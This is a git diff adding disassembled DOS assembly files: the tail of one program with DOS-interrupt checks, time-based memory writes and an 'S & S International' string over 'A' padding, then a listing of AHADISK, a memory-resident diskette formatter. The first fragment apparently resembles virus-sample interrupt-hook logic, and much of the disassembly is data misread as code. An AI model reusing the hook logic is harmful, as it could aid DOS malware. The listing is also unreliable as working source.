+ jne loc_58 ; Jump if not equal + jmp short loc_55 ; (0687) +loc_58: + cmp ah,4Eh ; 'N' + jne loc_55 ; Jump if not equal + jmp short loc_55 ; (0687) + db 90h +loc_59: + jmp loc_62 ; (0783) +loc_60: + mov ax,0Fh + cmp cs:data_29,al ; (936E:05D9=0) + jb loc_55 ; Jump if below + ja loc_59 ; Jump if above + cmp bx,4 + jbe loc_55 ; Jump if below or = + mov bx,1 + push cs + pop ds + add ds:data_11e,bx ; (936E:00FA=0) + mov ah,2Ch ; ',' + int 7Eh ; ??INT Non-standard interrupt. + cmp dh,ds:data_11e ; (936E:00FA=0) + ja loc_55 ; Jump if above + mov bx,data_3e ; (0A10:000E=1) + add bx,data_32 ; (936E:05DD=743h) + mov ss:[bx],bx + jmp short loc_55 ; (0687) + db 01h, 90h, 90h, 90h +loc_61: + jmp loc_63 ; (1A7F) + db 'Hello - Copyright S & S Internat' + db 'ional, 1990', 0Ah, 0Dh, '$' + db 1Ah, 41h, 41h + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAA' +loc_62: + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' + db 'AAAAAAAAAAAAAAAA' +loc_63: + mov ah,9 + mov dx,offset data_14 ; (936E:0103=90h) + int 21h ; DOS Services ah=function 09h + ; display char string at ds:dx + int 20h ; Program Terminate + +seg_a ends + + + + end start diff --git a/a/AHADISK (16).ASM b/a/AHADISK (16).ASM new file mode 100755 index 0000000..41a32c3 --- /dev/null +++ b/a/AHADISK (16).ASM @@ -0,0 +1,4042 @@ + +PAGE 59,132 + +; +; +; AHADISK +; +; Created: 29-Feb-92 +; Passes: 5 Analysis Options on: none +; +; + +data_1e equ 0 +data_2e equ 1 +data_3e equ 3 +data_4e equ 94h +keybd_flags_1_ equ 417h +dsk_recal_stat_ equ 43Eh +dsk_motor_stat_ equ 43Fh +dsk_motor_tmr_ equ 440h +video_mode_ equ 449h +video_port_ equ 463h +timer_low_ equ 46Ch +hdsk0_media_st_ equ 490h +data_16e equ 1000h ;* +data_17e equ 0 ;* +data_18e equ 3 ;* +data_234e equ 7C3Eh ;* + +;-------------------------------------------------------------- seg_a ---- + +seg_a segment byte public + assume cs:seg_a , ds:seg_a + + +; +; +; Program Entry Point +; +; + + +ahadisk proc far + +start: + jmp loc_262 +data_24 db 0, 0 +data_25 dw 0 +data_26 dw 0 +data_27 dw 0 +data_28 db 0 +data_29 db 0 +data_30 db 0 + db 0 +data_31 dw 1 +data_32 db 19h + db 0 +data_33 db ' ', 0 + db 27h, 0 + db '.', 0 + db ' 360 K', 0 + db ' 1.2 M', 0 + db ' 720 K', 0 + db '1.44 M', 0 +data_37 db 0FFh + db 11h,0FFh +data_38 db 1Dh + db 0FFh, 11h,0FFh, 23h +data_39 db 1 + db 0, 2, 0 +data_40 db 23h + db 00h, 3Bh, 00h, 23h, 00h, 47h + db 00h +data_41 db 2 + db 1, 2 +data_42 db 1 +data_43 db 0DFh + db 0DFh,0DFh,0AFh +data_44 db 9 + db 0Fh, 09h, 12h +data_45 db 2Ah + db 1Bh, 2Ah, 1Ah +data_46 db 50h + db 54h, 50h, 6Ch +data_47 db 0FDh + db 0F9h,0F9h,0F0h +data_48 db 70h + db 0 + db 0E0h, 00h + +locloop_2: + jo loc_3 ; Jump if overflow=1 +loc_3: + loopnz $+2 ; Loop if zf=0, cx>0 + + rol byte ptr [bp+si],1 ; Rotate + db 60h, 09h,0A0h, 05h, 40h, 0Bh +data_50 db 2 + db 0, 7, 0, 3, 0, 9 + db 0 +data_51 db 62h + db 01h, 43h, 09h,0C9h, 02h, 1Fh + db 0Bh +data_52 db 6 + db 1, 4, 3 +data_53 db 0 +data_54 dw 0 +data_55 db 0 +data_56 db 0 +data_57 db 2Ah +data_58 db 50h +data_59 db 0 +data_60 db 0, 0 +data_61 dw 0 +data_62 db 0 +data_63 db 0 +data_64 db 0 +data_65 db 0 +data_66 db 0 +data_67 dw 0 +data_68 dw 0 +data_69 db 0 +data_70 db 0 +data_71 db 0 +data_72 db 0 +data_73 db 0 +data_74 db 0 +data_75 db 0 +data_76 db 0 +data_77 db 0 +data_78 db 0 +data_79 db 0 +data_80 db 0 +data_81 dw 130Dh +data_82 dw 0 +data_84 dw 0 +data_85 dw 0 +data_86 dw 0 +data_87 dw 0 +data_88 dw 0 +data_89 dw 0 +data_90 dw 0 +data_91 dw 0 +data_92 dw 0 +data_93 dw 0 +data_94 db 0 +data_95 db 0 +data_96 db 0Bh +data_97 db 0 +data_98 db 0, 0 +data_99 db 0 +data_100 dw 0 +data_101 db 0 +data_102 db 0 +data_103 db 0 +data_104 db 0 +data_105 dw 0 +data_106 dw 0 +data_107 db 0 +data_108 db 0 +data_109 db 0 +data_110 db 6 +data_111 db 0A0h +data_112 db 0 +data_113 db 0 + db 11 dup (0) +data_115 db 0 + db 9 dup (0) + +ahadisk endp + +; +; SUBROUTINE +; + +sub_2 proc near + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+di],al + add [bx],cl + add [bx+di],al + add [bp+si],cl + add [si+0],ah +;* call sub_5 ;* + db 0E8h, 03h, 10h + daa ; Decimal adjust + mov al,byte ptr ds:[4086h] + inc dx + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + ja $+7 ; Jump if above + add [bx+si],al + add [bx+si],al + pop dx + xor ax,355Ah + pop dx + xor ax,577h + add [bx+si],al + +; External Entry into Subroutine + +sub_3: + add [bx+si],al + add [bx+si],al + add [bx+si],al + pop dx + xor ax,0 + add [bx+si],al + add [bx+si],al + pop dx + xor ax,0 + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + pop dx + xor ax,577h + pop dx + xor ax,0 + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add bh,dh +;* pop cs ; Dangerous 8088 only + db 0Fh +;* jo loc_4 ;*Jump if overflow=1 + db 70h,0FFh + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [bx+si],al + add [di+6Eh],al + jz loc_5 ; Jump if zero + jc $+22h ; Jump if carry Set + inc sp + jc $+6Bh ; Jump if carry Set + jbe loc_6 ; Jump if below or = + and [si+6Fh],dl + and [bp+si+65h],al + and [bp+6Fh],al + jc $+6Fh ; Jump if carry Set + db 61h, 74h, 20h, 3Fh, 20h, 5Bh + db 'A' + db 5Dh, 00h + db 'Enter Drive Type ? (0 - 360K, 1 ' + db '- 1.2M) [0]' + db 0 + db 'Enter Drive Type ? (0 - 720K,' +loc_5: + and [bx+di],dh + and [di],ch + and [bx+di],dh +loc_6: + db '.44M) [0]' + db 0 + db 'Number Of Diskette To Be Format ' + db '(1-11) [' +data_182 dw 3131h + db 5Dh, 20h, 3Fh, 20h, 00h + db 'Insert New Diskette Into Drive ' +data_183 db 41h + db 0 + db 'Press ENTER To Start Format Or E' + db 'SC To Abort' + db 0 + db 'Can', 27h, 't Release From Memor' + db 'y, Interrupt Vector Address Been' + db ' Changed' + db 0 + db 'Press Any Key To Return To Main ' + db 'Menu' + db 0 + db 'No Format Report !' + db 00h, 00h, 00h, 00h, 00h, 2Dh + db 00h, 00h, 00h, 00h, 00h + db 43h, 70h +data_184 db 'HpApNpGpEpEpRpRpOpRp!pFpIpNpIpSp' + db 'Hp p p', 0 + db 'p', 0 + db 'p p pDisk Not Ready !', 0 + db 'Disk Write Protected !', 0 + db 'Seek Error !', 0 + db 'Abort or Retry ?', 0 + db 'Track 0 Bad, Diskette Unusable !' + db 0 + db 'Program Interrupted !', 0 + db 'Ready Printer, Press ENTER When ' + db 'Ready !', 0 + db 'Printing ....', 0 + db 'I/O Error !', 0 + db 'Printer Not Ready !', 0 + db 0C9h, 01h, 4Eh,0CDh,0BBh,0BAh + db 01h, 4Eh, 20h,0BAh,0BAh, 01h + db 13h, 20h,0ADh + db 'aHa/nBa!Mem Resident Format ' + db 1, 3 + db ' Version 6.9' + db 01h, 10h, 20h,0BAh,0BAh, 01h + db 4Eh, 20h,0BAh,0CCh, 01h + db 4Eh,0CDh,0B9h,0BAh, 01h, 4Eh + db 20h + db 0BAh,0BAh, 01h, 4Eh, 20h,0BAh + db 0BAh, 01h, 4Eh, 20h,0BAh,0BAh + db 01h, 4Eh, 20h,0BAh,0BAh, 01h + db 4Eh, 20h,0BAh,0BAh, 01h, 4Eh + db 20h,0BAh,0BAh, 01h, 4Eh, 20h + db 0BAh,0BAh, 01h, 4Eh, 20h,0BAh + db 0BAh, 01h, 4Eh, 20h,0BAh,0BAh + db 01h, 4Eh, 20h,0BAh,0BAh, 01h + db 4Eh, 20h,0BAh,0BAh, 01h, 4Eh + db 20h,0BAh,0BAh, 01h, 4Eh, 20h + db 0BAh + db 0BAh, 01h, 4Eh, 20h,0BAh,0BAh + db 01h, 4Eh, 20h,0BAh,0BAh, 01h + db 4Eh + db 20h,0BAh,0BAh, 01h, 4Eh, 20h + db 0BAh,0BAh, 01h, 4Eh, 20h,0BAh + db 0BAh, 01h + db 4Eh, 20h + db 0BAh,0C8h, 01h, 4Eh,0CDh,0BCh + db 01h, 87h,0D0h, 1Fh,0C9h, 01h + db 4Eh,0CDh,0BBh,0BAh, 01h, 4Eh + db 20h,0BAh,0BAh, 01h, 13h, 20h + db 0ADh + db 'aHa/nBa!Mem Resident Format ' + db 1, 3 + db ' Version 6.9' + db 01h, 10h, 20h,0BAh,0BAh, 01h + db 4Eh, 20h,0BAh,0CCh, 01h + db 4Eh,0CDh,0B9h,0BAh, 01h, 1Ch + db 20h + db 0DAh, 01h, 15h,0C4h,0BFh, 01h + db 1Bh, 20h,0BAh,0BAh, 01h, 1Ch + db 20h,0B3h + db ' Print Out ' + db 0ADh + db 'aHa/nBa! ' + db 0B3h, 01h, 1Bh, 20h,0BAh,0BAh + db 01h, 1Ch, 20h,0C0h, 01h, 15h + db 0C4h,0D9h, 01h, 1Bh, 20h,0BAh + db 0BAh, 01h, 1Ch, 20h,0DAh, 01h + db 15h,0C4h + db 0BFh, 01h, 1Bh, 20h,0BAh,0BAh + db 01h, 1Ch, 20h,0B3h, 01h, 04h + db ' Start format' + db 01h, 05h, 20h,0B3h, 01h, 1Bh + db 20h,0BAh,0BAh, 01h, 1Ch, 20h + db 0C0h, 01h, 15h,0C4h,0D9h, 01h + db 1Bh, 20h,0BAh,0BAh, 01h, 1Ch + db 20h,0DAh, 01h, 15h,0C4h,0BFh + db 01h, 1Bh, 20h,0BAh,0BAh, 01h + db 1Ch, 20h,0B3h, 01h, 04h + db ' Format report' + db 01h, 04h, 20h,0B3h, 01h, 1Bh + db 20h,0BAh,0BAh, 01h, 1Ch, 20h + db 0C0h, 01h, 15h,0C4h,0D9h, 01h + db 1Bh, 20h,0BAh,0BAh, 01h, 1Ch + db 20h,0DAh, 01h, 15h,0C4h,0BFh + db 01h, 1Bh, 20h,0BAh,0BAh, 01h + db 1Ch, 20h,0B3h + db ' Track display o' +data_187 dw 206Eh + db 20h, 20h,0B3h, 01h, 1Bh, 20h + db 0BAh,0BAh, 01h, 1Ch, 20h,0C0h + db 01h, 15h,0C4h,0D9h, 01h, 1Bh + db 20h,0BAh,0BAh, 01h, 1Ch, 20h + db 0DAh, 01h, 15h,0C4h,0BFh, 01h + db 1Bh, 20h,0BAh,0BAh, 01h, 1Ch + db 20h,0B3h + db ' Release from memory ' + db 0B3h, 01h, 1Bh, 20h,0BAh,0BAh + db 01h, 1Ch, 20h,0C0h, 01h, 15h + db 0C4h,0D9h, 01h, 1Bh, 20h,0BAh + db 0BAh, 01h, 1Ch, 20h,0DAh, 01h + db 15h,0C4h,0BFh, 01h, 1Bh, 20h + db 0BAh,0BAh, 01h, 1Ch, 20h,0B3h + db 01h, 09h, 20h, 45h, 78h, 69h + db 74h, 01h, 08h, 20h,0B3h, 01h + db 1Bh, 20h,0BAh,0BAh, 01h, 1Ch + db 20h,0C0h, 01h, 15h,0C4h,0D9h + db 01h, 1Bh, 20h,0BAh,0BAh, 01h + db 4Eh, 20h,0BAh,0C8h, 01h, 4Eh + db 0CDh,0BCh, 01h, 87h,0D0h, 1Fh + db 0C9h, 01h, 4Eh,0CDh,0BBh,0BAh + db 01h, 4Eh, 20h,0BAh,0BAh, 01h + db 13h, 20h,0ADh + db 'aHa/nBa!Mem Resident Format ' + db 1, 3 + db ' Version 6.9' + db 01h, 10h, 20h,0BAh,0BAh, 01h + db 4Eh, 20h,0BAh,0CCh, 01h + db 4Eh + db 0CDh,0B9h,0BAh, 01h, 4Eh, 20h + db 0BAh,0BAh, 01h, 4Eh, 20h,0BAh + db 0BAh, 01h, 4Eh, 20h,0BAh,0BAh + db 01h, 4Eh, 20h,0BAh,0BAh, 01h + db 4Eh, 20h,0BAh,0BAh, 01h, 4Eh + db 20h,0BAh,0BAh, 01h, 4Eh, 20h + db 0BAh,0BAh, 01h, 4Eh, 20h,0BAh + db 0BAh, 01h, 4Eh, 20h,0BAh,0BAh + db 01h, 4Eh, 20h,0BAh,0BAh, 01h + db 4Eh, 20h,0BAh,0BAh, 01h, 4Eh + db 20h,0BAh,0BAh, 01h, 4Eh, 20h + db 0BAh + db 0BAh, 01h, 4Eh, 20h,0BAh,0BAh + db 01h, 4Eh, 20h,0BAh,0CCh, 01h + db 17h + db 0CDh,0D1h, 01h, 0Fh,0CDh,0D1h + db 01h, 10h,0CDh,0D1h, 01h, 15h + db 0CDh,0B9h,0BAh, 01h + db 3 + db ' Drive To Be Format ' + db 0B3h, 01h, 03h + db ' Drive Type ' + db 0B3h + db ' Diskette No. ' + db 0B3h + db ' Total Diskette(s) ' + db 0BAh,0C7h, 01h, 17h,0C4h,0C5h + db 01h, 0Fh,0C4h,0C5h, 01h, 10h + db 0C4h,0C5h, 01h, 15h,0C4h,0B6h + db 0BAh, 01h, 0Bh + db 20h +data_188 db 41h + db 01h, 0Bh, 20h,0B3h, 01h, 05h + db 20h +data_189 db 31h + db 2Eh, 34h, 34h, 20h, 4Dh, 01h + db 04h, 20h,0B3h, 01h, 06h + db 20h +data_190 dw 3120h + db 01h, 08h, 20h,0B3h, 01h + db 09h, 20h +data_191 dw 3131h + db 1 + db 0Ah, 20h,0BAh,0C8h, 01h + db 17h,0CDh,0CFh, 01h, 0Fh,0CDh + db 0CFh, 01h, 10h,0CDh,0CFh, 01h + db 15h,0CDh,0BCh, 01h, 87h,0D0h + db 1Fh,0C9h, 01h, 4Eh,0CDh,0BBh + db 0BAh, 01h, 4Eh, 20h,0BAh,0BAh + db 01h, 13h + db ' Background Diskette Formatter S' + db 'tatus Report' + db 01h, 10h, 20h,0BAh,0BAh, 01h + db 4Eh, 20h,0BAh,0BAh, 01h, 4Eh + db 20h,0BAh,0CCh, 01h, 0Ch,0CDh + db 0D1h + db 01h, 15h,0CDh,0D1h, 01h, 11h + db 0CDh + db 0D1h, 01h, 19h,0CDh,0B9h,0BAh + db ' Diskette ' + db 0B3h, 01h, 07h, 20h, 56h, 6Fh + db 6Ch, 75h, 6Dh, 65h, 01h, 08h + db 20h,0B3h, 01h, 05h, 20h, 4Eh + db 6Fh, 2Eh, 20h, 4Fh, 66h, 01h + db 06h, 20h,0B3h, 01h, 04h + db ' Total Disk Space' + db 01h, 05h, 20h,0BAh,0BAh, 01h + db 05h, 20h, 4Eh, 6Fh, 2Eh, 01h + db 04h, 20h,0B3h, 01h, 04h + db ' Serial Number' + db 01h, 04h, 20h,0B3h + db ' Bad Cluster(s) ' + db 0B3h, 01h + db 8, ' In Bytes' + db 01h, 09h, 20h,0BAh,0C7h, 01h + db 0Ch,0C4h,0C5h, 01h, 15h,0C4h + db 0C5h, 01h, 11h,0C4h,0C5h, 01h + db 19h,0C4h,0B6h + db 0BAh, 01h, 0Ch, 20h + db 0B3h, 01h, 15h + db 20h,0B3h, 01h, 11h, 20h,0B3h + db 01h, 19h, 20h,0BAh,0BAh, 01h + db 0Ch, 20h,0B3h, 01h, 15h, 20h + db 0B3h, 01h, 11h, 20h,0B3h, 01h + db 19h, 20h,0BAh,0BAh, 01h, 0Ch + db 20h,0B3h, 01h, 15h, 20h,0B3h + db 01h, 11h, 20h,0B3h, 01h, 19h + db 20h,0BAh,0BAh, 01h, 0Ch, 20h + db 0B3h, 01h, 15h, 20h,0B3h, 01h + db 11h + db 20h + db 0B3h, 01h, 19h, 20h,0BAh,0BAh + db 01h, 0Ch, 20h,0B3h, 01h, 15h + db 20h,0B3h, 01h, 11h, 20h,0B3h + db 01h, 19h, 20h,0BAh,0BAh, 01h + db 0Ch, 20h,0B3h, 01h, 15h, 20h + db 0B3h, 01h, 11h, 20h,0B3h, 01h + db 19h, 20h,0BAh,0BAh, 01h, 